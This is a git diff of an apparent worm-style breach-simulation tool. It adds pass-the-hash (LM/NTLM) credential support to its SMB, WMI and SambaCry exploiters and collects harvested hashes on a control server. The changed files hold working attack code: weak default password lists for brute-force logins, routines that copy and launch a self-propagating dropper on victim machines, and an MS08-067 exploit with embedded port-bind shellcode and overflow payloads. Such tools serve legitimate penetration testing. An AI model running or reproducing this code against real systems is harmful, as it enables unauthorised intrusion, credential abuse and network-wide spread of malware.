diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py
index 5fee384ee..8ab21752b 100644
--- a/chaos_monkey/config.py
+++ b/chaos_monkey/config.py
@@ -231,8 +231,24 @@ class Configuration(object):
         """
         return product(self.exploit_user_list, self.exploit_password_list)
 
+    def get_exploit_user_password_or_hash_product(self):
+        """
+        Returns all combinations of the configurations users and passwords or lm/ntlm hashes
+        :return:
+        """
+        cred_list = []
+        for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']):
+            cred_list.append(cred)
+        for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list):
+            cred_list.append(cred)
+        for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']):
+            cred_list.append(cred)
+        return cred_list
+
     exploit_user_list = ['Administrator', 'root', 'user']
     exploit_password_list = ["Password1!", "1234", "password", "12345678"]
+    exploit_lm_hash_list = []
+    exploit_ntlm_hash_list = []
 
     # smb/wmi exploiter
     smb_download_timeout = 300  # timeout in seconds
diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf
index 35e1badd0..2fe0aa189 100644
--- a/chaos_monkey/example.conf
+++ b/chaos_monkey/example.conf
@@ -65,6 +65,8 @@
     "skip_exploit_if_file_exist": true,
     "exploit_user_list": [],
     "exploit_password_list": [],
+    "exploit_lm_hash_list": [],
+    "exploit_ntlm_hash_list": [],
     "sambacry_trigger_timeout": 5,
     "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
     "sambacry_shares_not_to_check": ["IPC$", "print$"],
diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py
index 22b3a3f2b..5c3c5325c 100644
--- a/chaos_monkey/exploit/sambacry.py
+++ b/chaos_monkey/exploit/sambacry.py
@@ -1,11 +1,10 @@
+import itertools
 import logging
+import posixpath
 import re
-import sys
 import time
 from io import BytesIO
 from os import path
-import itertools
-import posixpath
 
 import impacket.smbconnection
 from impacket.nt_errors import STATUS_SUCCESS
@@ -37,7 +36,6 @@ class SambaCryExploiter(HostExploiter):
     def __init__(self):
         self._config = __import__('config').WormConfiguration
 
-
     def exploit_host(self, host, depth=-1, src_path=None):
         if not self.is_vulnerable(host):
             return False
@@ -66,7 +64,8 @@ class SambaCryExploiter(HostExploiter):
             host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
 
         if len(successfully_triggered_shares) > 0:
-            LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
+            LOG.info(
+                "Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
             return True
         else:
             LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
@@ -86,7 +85,8 @@ class SambaCryExploiter(HostExploiter):
             self.trigger_module(smb_client, share)
             smb_client.close()
         except (impacket.smbconnection.SessionError, SessionError):
-            LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
+            LOG.debug(
+                "Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
 
     def clean_share(self, ip, share, creds):
         """
@@ -161,15 +161,15 @@ class SambaCryExploiter(HostExploiter):
         return writable_shares_creds_dict
 
     def get_credentials_list(self):
-        user_password_pairs = self._config.get_exploit_user_password_pairs()
+        creds = self._config.get_exploit_user_password_or_hash_product()
+
+        creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}
+                 for user, password, lm_hash, ntlm_hash in creds]
 
         # Add empty credentials for anonymous shares.
-        credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
+        creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''})
 
-        for user, password in user_password_pairs:
-            credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
-
-        return credentials_list
+        return creds
 
     def list_shares(self, smb_client):
         shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
@@ -197,11 +197,14 @@ class SambaCryExploiter(HostExploiter):
                 is_vulnerable = True
             elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
                 is_vulnerable = True
-            elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
+            elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
+                        samba_version_parts[1] <= "13"):
                 is_vulnerable = True
-            elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
+            elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
+                        samba_version_parts[1] <= "9"):
                 is_vulnerable = True
-            elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
+            elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
+                        samba_version_parts[1] <= "3"):
                 is_vulnerable = True
 
         LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
@@ -243,7 +246,8 @@ class SambaCryExploiter(HostExploiter):
         """
         tree_id = smb_client.connectTree(share)
 
-        with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
+        with self.get_monkey_commandline_file(host, depth,
+                                              self._config.dropper_target_path_linux) as monkey_commandline_file:
             smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
 
         with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
@@ -325,14 +329,13 @@ class SambaCryExploiter(HostExploiter):
         else:
             return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
 
-
     def get_monkey_commandline_file(self, host, depth, location):
         return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
 
     # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
     def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
-                  fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
-                  oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
+                   fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
+                   oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
 
         packet = smb_client.getSMBServer().SMB_PACKET()
         packet['Command'] = SMB2_CREATE
@@ -406,5 +409,7 @@ class SambaCryExploiter(HostExploiter):
 
             return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
         else:
-            return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
-                                  creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
+            return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
+                                   shareMode=FILE_SHARE_READ,
+                                   creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
+                                   fileAttributes=0)
diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py
index e23818f4d..98aeaf24e 100644
--- a/chaos_monkey/exploit/smbexec.py
+++ b/chaos_monkey/exploit/smbexec.py
@@ -16,12 +16,12 @@ try:
     from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
     from impacket.smb import SessionError as SessionError2
     from impacket.smb3 import SessionError as SessionError3
-except ImportError, exc:
+except ImportError as exc:
     print str(exc)
     print 'Install the following library to make this script work'
     print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
     print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
-    sys.exit(1)
+    raise
 
 LOG = getLogger(__name__)
 
@@ -64,33 +64,35 @@ class SmbExploiter(HostExploiter):
             LOG.info("Can't find suitable monkey executable for host %r", host)
             return False
 
-        user_password_pairs = self._config.get_exploit_user_password_pairs()
+        creds = self._config.get_exploit_user_password_or_hash_product()
 
         exploited = False
-        for user, password in user_password_pairs:
+        for user, password, lm_hash, ntlm_hash in creds:
             try:
                 # copy the file remotely using SMB
                 remote_full_path = SmbTools.copy_file(host,
-                                                      user,
-                                                      password,
                                                       src_path,
                                                       self._config.dropper_target_path,
+                                                      user,
+                                                      password,
+                                                      lm_hash,
+                                                      ntlm_hash,
                                                       self._config.smb_download_timeout)
 
                 if remote_full_path is not None:
-                    LOG.debug("Successfully logged in %r using SMB (%s : %s)",
-                              host, user, password)
+                    LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
+                              host, user, password, lm_hash, ntlm_hash)
                     host.learn_credentials(user, password)
                     exploited = True
                     break
                 else:
                     # failed exploiting with this user/pass
-                    report_failed_login(self, host, user, password)
+                    report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
 
-            except Exception, exc:
-                LOG.debug("Exception when trying to copy file using SMB to %r with user"
-                          " %s and password '%s': (%s)", host,
-                          user, password, exc)
+            except Exception as exc:
+                LOG.debug("Exception when trying to copy file using SMB to %r with user:"
+                          " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
+                          user, password, lm_hash, ntlm_hash, exc)
                 continue
 
         if not exploited:
@@ -113,15 +115,15 @@ class SmbExploiter(HostExploiter):
                 rpctransport.preferred_dialect(SMB_DIALECT)
             if hasattr(rpctransport, 'set_credentials'):
                 # This method exists only for selected protocol sequences.
-                rpctransport.set_credentials(user, password, host.ip_addr,
-                                             "", "", None)
+                rpctransport.set_credentials(user, password, '',
+                                             lm_hash, ntlm_hash, None)
             rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
 
             scmr_rpc = rpctransport.get_dce_rpc()
 
             try:
                 scmr_rpc.connect()
-            except Exception, exc:
+            except Exception as exc:
                 LOG.warn("Error connecting to SCM on exploited machine %r: %s",
                          host, exc)
                 return False
diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py
index 2e8aa4fa5..bdb97d975 100644
--- a/chaos_monkey/exploit/tools.py
+++ b/chaos_monkey/exploit/tools.py
@@ -62,7 +62,7 @@ class WmiTools(object):
             try:
                 iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                      wmi.IID_IWbemLevel1Login)
-            except Exception, exc:
+            except Exception as exc:
                 dcom.disconnect()
 
                 if "rpc_s_access_denied" == exc.message:
@@ -156,7 +156,7 @@ class WmiTools(object):
                         query_record[key] = record[key]['value']
 
                     query.append(query_record)
-                except DCERPCSessionError, exc:
+                except DCERPCSessionError as exc:
                     if 1 == exc.error_code:
                         break
 
@@ -169,20 +169,21 @@ class WmiTools(object):
 
 class SmbTools(object):
     @staticmethod
-    def copy_file(host, username, password, src_path, dst_path, timeout=60):
+    def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
         assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
 
         config = __import__('config').WormConfiguration
         src_file_size = monkeyfs.getsize(src_path)
 
-        smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout)
+        smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
         if not smb:
             return None
 
         # skip guest users
         if smb.isGuestSession() > 0:
-            LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
-                      host, username, password)
+            LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
+                      " LM hash: %s, NTLM hash: %s",
+                      host, username, password, lm_hash, ntlm_hash)
 
             try:
                 smb.logoff()
@@ -193,7 +194,7 @@ class SmbTools(object):
 
         try:
             resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
-        except Exception, exc:
+        except Exception as exc:
             LOG.debug("Error requesting server info from %r over SMB: %s",
                       host, exc)
             return None
@@ -210,7 +211,7 @@ class SmbTools(object):
 
         try:
             resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
-        except Exception, exc:
+        except Exception as exc:
             LOG.debug("Error enumerating server shares from %r over SMB: %s",
                       host, exc)
             return None
@@ -252,13 +253,13 @@ class SmbTools(object):
             share_path = share['share_path']
 
             if not smb:
-                smb, _ = SmbTools.new_smb_connection(host, username, password, timeout)
+                smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
                 if not smb:
                     return None
 
             try:
                 tid = smb.connectTree(share_name)
-            except Exception, exc:
+            except Exception as exc:
                 LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
                           share_name, host, exc)
                 continue
@@ -293,7 +294,7 @@ class SmbTools(object):
                          src_path, share_name, share_path, host)
 
                 break
-            except Exception, exc:
+            except Exception as exc:
                 LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
                           share_name, host, exc)
                 continue
@@ -307,23 +308,23 @@ class SmbTools(object):
 
         if not file_uploaded:
             LOG.debug("Couldn't find a writable share for exploiting"
-                      " victim %r with username %s and password '%s'",
-                      host, username, password)
+                      " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
+                      host, username, password, lm_hash, ntlm_hash)
             return None
 
         return remote_full_path
 
     @staticmethod
-    def new_smb_connection(host, username, password, timeout=60):
+    def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
         try:
             smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
-        except Exception, exc:
+        except Exception as exc:
             LOG.debug("SMB connection to %r on port 445 failed,"
                       " trying port 139 (%s)", host, exc)
 
             try:
                 smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
-            except Exception, exc:
+            except Exception as exc:
                 LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
                           host, exc)
                 return None, None
@@ -334,10 +335,10 @@ class SmbTools(object):
 
         # we know this should work because the WMI connection worked
         try:
-            smb.login(username, password, domain=host.ip_addr)
-        except Exception, exc:
-            LOG.debug("Error while loging into %r using user %s and password '%s': %s",
-                      host, username, password, exc)
+            smb.login(username, password, '', lm_hash, ntlm_hash)
+        except Exception as exc:
+            LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
+                      host, username, password, lm_hash, ntlm_hash, exc)
             return None, dialect
 
         smb.setTimeout(timeout)
@@ -473,11 +474,17 @@ def build_monkey_commandline(target_host, depth, location=None):
         GUID, target_host.default_tunnel, target_host.default_server, depth, location)
 
 
-def report_failed_login(exploiter, machine, user, password):
+def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
     from control import ControlClient
-    ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
-                                             'exploiter': exploiter.__class__.__name__,
-                                             'user': user, 'password': password})
+    telemetry_dict =\
+        {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
+         'user': user, 'password': password}
+    if lm_hash:
+        telemetry_dict['lm_hash'] = lm_hash
+    if ntlm_hash:
+        telemetry_dict['ntlm_hash'] = ntlm_hash
+
+    ControlClient.send_telemetry('exploit', telemetry_dict)
 
 
 def get_binaries_dir_path():
diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py
index ac9f878c7..3a15d135e 100644
--- a/chaos_monkey/exploit/win_ms08_067.py
+++ b/chaos_monkey/exploit/win_ms08_067.py
@@ -9,34 +9,35 @@
 import sys
 import time
 import socket
-from enum import IntEnum
 from logging import getLogger
-from model.host import VictimHost
-from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
-from . import HostExploiter
+
+from enum import IntEnum
+
 from exploit.tools import SmbTools, get_target_monkey
-from network.tools import check_port_tcp
+from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
+from model.host import VictimHost
 from network import SMBFinger
+from network.tools import check_port_tcp
 from tools import build_monkey_commandline
+from . import HostExploiter
 
 try:
     from impacket import smb
     from impacket import uuid
-    #from impacket.dcerpc import dcerpc
+    # from impacket.dcerpc import dcerpc
     from impacket.dcerpc.v5 import transport
     from impacket.smbconnection import SessionError as SessionError1
     from impacket.smb import SessionError as SessionError2
     from impacket.smb3 import SessionError as SessionError3
-except ImportError, exc:
+except ImportError as exc:
     print str(exc)
     print 'Install the following library to make this script work'
     print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
     print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
     sys.exit(1)
 
-
 LOG = getLogger(__name__)
- 
+
 # Portbind shellcode from metasploit; Binds port to TCP port 4444
 SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
@@ -61,8 +62,7 @@ SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
 SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
 SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
 SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
- 
- 
+
 # Payload for Windows 2000 target
 PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
 PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
@@ -76,7 +76,7 @@ PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
 PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
 PAYLOAD_2000 += '\xeb\xcc'
 PAYLOAD_2000 += '\x00\x00'
- 
+
 # Payload for Windows 2003[SP2] target
 PAYLOAD_2003 = '\x41\x00\x5c\x00'
 PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
@@ -95,11 +95,11 @@ PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
 class WindowsVersion(IntEnum):
     Windows2000 = 1
     Windows2003_SP2 = 2
- 
- 
+
+
 class SRVSVC_Exploit(object):
     TELNET_PORT = 4444
-    
+
     def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445):
         self._port = port
         self._target = target_addr
@@ -110,33 +110,33 @@ class SRVSVC_Exploit(object):
         
         The port on which the Telnet service will listen.
         """
-        
+
         return SRVSVC_Exploit.TELNET_PORT
-     
+
     def start(self):
         """start() -> socket
         
         Exploit the target machine and return a socket connected to it's
         listening Telnet service.
         """
-        
+
         target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
-        
+
         LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
         self._trans = transport.DCERPCTransportFactory(target_rpc_name)
         self._trans.connect()
-        
+
         LOG.debug("Connected to %s", target_rpc_name)
-        
+
         self._dce = self._trans.DCERPC_class(self._trans)
         self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
-        
+
         dce_packet = self._build_dce_packet()
-        self._dce.call(0x1f, dce_packet)  #0x1f (or 31)- NetPathCanonicalize Operation
-                
+        self._dce.call(0x1f, dce_packet)  # 0x1f (or 31)- NetPathCanonicalize Operation
+
         LOG.debug("Exploit sent to %s successfully...", self._target)
         LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
-        
+
         sock = socket.socket()
         sock.connect((self._target, self.get_telnet_port()))
         return sock
@@ -162,7 +162,7 @@ class SRVSVC_Exploit(object):
         dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00'
         dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00'
         dce_packet += '\x01\x00\x00\x00'
-        
+
         return dce_packet
 
 
@@ -186,7 +186,7 @@ class Ms08_067_Exploiter(HostExploiter):
                 smb_finger = SMBFinger()
                 if smb_finger.get_host_fingerprint(host):
                     return host.os.get('type') in self._target_os_type and \
-                            host.os.get('version') in self._windows_versions.keys()
+                           host.os.get('version') in self._windows_versions.keys()
         return False
 
     def exploit_host(self, host, depth=-1, src_path=None):
@@ -218,7 +218,7 @@ class Ms08_067_Exploiter(HostExploiter):
                 LOG.debug("Exploited into %r using MS08-067", host)
                 exploited = True
                 break
-            except Exception, exc:
+            except Exception as exc:
                 LOG.debug("Error exploiting victim %r: (%s)", host, exc)
                 continue
 
@@ -228,19 +228,19 @@ class Ms08_067_Exploiter(HostExploiter):
 
         # copy the file remotely using SMB
         remote_full_path = SmbTools.copy_file(host,
-                                              self._config.ms08_067_remote_user_add,
-                                              self._config.ms08_067_remote_user_pass,
                                               src_path,
-                                              self._config.dropper_target_path)
+                                              self._config.dropper_target_path,
+                                              self._config.ms08_067_remote_user_add,
+                                              self._config.ms08_067_remote_user_pass)
 
         if not remote_full_path:
             # try other passwords for administrator
             for password in self._config.exploit_password_list:
                 remote_full_path = SmbTools.copy_file(host,
-                                                      "Administrator",
-                                                      password,
                                                       src_path,
-                                                      self._config.dropper_target_path)
+                                                      self._config.dropper_target_path,
+                                                      "Administrator",
+                                                      password)
                 if remote_full_path:
                     break
 
@@ -256,15 +256,15 @@ class Ms08_067_Exploiter(HostExploiter):
                       build_monkey_commandline(host, depth - 1)
 
         try:
-            sock.send("start %s\r\n" % (cmdline, ))
-            sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, ))
-        except Exception, exc:
+            sock.send("start %s\r\n" % (cmdline,))
+            sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
+        except Exception as exc:
             LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
             return False
         finally:
             try:
                 sock.close()
-            except:
+            except socket.error:
                 pass
 
         LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py
index 312a497da..05751f2d5 100644
--- a/chaos_monkey/exploit/wmiexec.py
+++ b/chaos_monkey/exploit/wmiexec.py
@@ -29,34 +29,36 @@ class WmiExploiter(HostExploiter):
             LOG.info("Can't find suitable monkey executable for host %r", host)
             return False
 
-        user_password_pairs = self._config.get_exploit_user_password_pairs()
+        creds = self._config.get_exploit_user_password_or_hash_product()
 
-        for user, password in user_password_pairs:
-            LOG.debug("Attempting to connect %r using WMI with password '%s'",
-                      host, password)
+        for user, password, lm_hash, ntlm_hash in creds:
+            LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
+                      host, user, password, lm_hash, ntlm_hash)
 
             wmi_connection = WmiTools.WmiConnection()
 
             try:
-                wmi_connection.connect(host,
-                                       user,
-                                       password)
+                wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
             except AccessDeniedException:
-                LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
-                          host, user, password)
+                LOG.debug("Failed connecting to %r using WMI with "
+                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
+                          host, user, password, lm_hash, ntlm_hash)
                 continue
-            except DCERPCException, exc:
-                report_failed_login(self, host, user, password)
-                LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
-                          host, user, password)
+            except DCERPCException as exc:
+                report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
+                LOG.debug("Failed connecting to %r using WMI with "
+                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
+                          host, user, password, lm_hash, ntlm_hash)
                 continue
-            except socket.error, exc:
-                LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
-                          host, user, password, exc)
+            except socket.error as exc:
+                LOG.debug("Network error in WMI connection to %r with "
+                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
+                          host, user, password, lm_hash, ntlm_hash)
                 return False
-            except Exception, exc:
-                LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
-                          host, user, password, exc, traceback.format_exc())
+            except Exception as exc:
+                LOG.debug("Unknown WMI connection error to %r with "
+                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
+                          host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
                 return False
 
             host.learn_credentials(user, password)
@@ -73,10 +75,12 @@ class WmiExploiter(HostExploiter):
 
             # copy the file remotely using SMB
             remote_full_path = SmbTools.copy_file(host,
-                                                  user,
-                                                  password,
                                                   src_path,
                                                   self._config.dropper_target_path,
+                                                  user,
+                                                  password,
+                                                  lm_hash,
+                                                  ntlm_hash,
                                                   self._config.smb_download_timeout)
 
             if not remote_full_path:
diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py
index 4db48e010..0fea9b4d5 100644
--- a/monkey_island/cc/resources/telemetry.py
+++ b/monkey_island/cc/resources/telemetry.py
@@ -155,5 +155,9 @@ class Telemetry(flask_restful.Resource):
                 ConfigService.creds_add_username(user)
                 if 'password' in creds[user]:
                     ConfigService.creds_add_password(creds[user]['password'])
+                if 'lm_hash' in creds[user]:
+                    ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
+                if 'ntlm_hash' in creds[user]:
+                    ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
 
 
diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py
index 86184f31c..efb572638 100644
--- a/monkey_island/cc/services/config.py
+++ b/monkey_island/cc/services/config.py
@@ -423,6 +423,32 @@ SCHEMA = {
                             "description": "The fullpath of the monkey log file on Windows"
                         }
                     }
+                },
+                "exploits": {
+                    "title": "Exploits",
+                    "type": "object",
+                    "properties": {
+                        "exploit_lm_hash_list": {
+                            "title": "Exploit LM hash list",
+                            "type": "array",
+                            "uniqueItems": True,
+                            "items": {
+                                "type": "string"
+                            },
+                            "default": [],
+                            "description": "List of LM hashes to use on exploits using credentials"
+                        },
+                        "exploit_ntlm_hash_list": {
+                            "title": "Exploit NTLM hash list",
+                            "type": "array",
+                            "uniqueItems": True,
+                            "items": {
+                                "type": "string"
+                            },
+                            "default": [],
+                            "description": "List of NTLM hashes to use on exploits using credentials"
+                        }
+                    }
                 }
             }
         },
@@ -818,20 +844,34 @@ class ConfigService:
         return SCHEMA
 
     @staticmethod
-    def creds_add_username(username):
+    def add_item_to_config_set(item_key, item_value):
         mongo.db.config.update(
             {'name': 'newconfig'},
-            {'$addToSet': {'exploits.credentials.exploit_user_list': username}},
+            {'$addToSet': {item_key: item_value}},
             upsert=False
         )
 
+        mongo.db.monkey.update(
+            {},
+            {'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}},
+            multi=True
+        )
+
+    @staticmethod
+    def creds_add_username(username):
+        ConfigService.add_item_to_config_set('basic.credentials.exploit_user_list', username)
+
     @staticmethod
     def creds_add_password(password):
-        mongo.db.config.update(
-            {'name': 'newconfig'},
-            {'$addToSet': {'exploits.credentials.exploit_password_list': password}},
-            upsert=False
-        )
+        ConfigService.add_item_to_config_set('basic.credentials.exploit_password_list', password)
+
+    @staticmethod
+    def creds_add_lm_hash(lm_hash):
+        ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash)
+
+    @staticmethod
+    def creds_add_ntlm_hash(ntlm_hash):
+        ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
 
     @staticmethod
     def update_config(config_json):